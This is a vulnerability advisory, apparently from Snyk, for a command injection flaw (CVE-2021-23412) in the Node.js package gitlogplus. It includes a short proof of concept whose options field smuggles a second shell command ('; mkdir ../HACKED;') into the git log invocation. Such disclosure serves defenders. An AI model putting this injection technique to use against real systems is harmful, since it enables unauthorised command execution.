Command Injection Affecting gitlogplus package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
62.83% (98th percentile)

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  • Snyk IDSNYK-JS-GITLOGPLUS-1315832
  • published23 Jul 2021
  • disclosed2 Jul 2021
  • creditRafal Janicki

Introduced: 2 Jul 2021

CVE-2021-23412  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for gitlogplus.

Overview

gitlogplus is a Git log parser for Node.JS

Affected versions of this package are vulnerable to Command Injection via the main functionality, as options attributes are appended to the command to be executed without sanitization.

PoC by Rafal Janicki

# 1. Run `npm i gitlogplus`
# 2. Run `mkdir git && git init git` (creates empty git repository as subdirectory to working directory)
# 3. Commit a file in the repository so that git log has been created
# 4. Run the below JavaScript PoC, which will create a folder HACKED in the parent directory of the new git repository
"use strict"

const gitlog = require('gitlogplus'); const options = { repo: __dirname + '/git', number: '20; mkdir ../HACKED; git log ' };

let commits = gitlog(options); console.log(commits);

References

CVSS Scores

version 3.1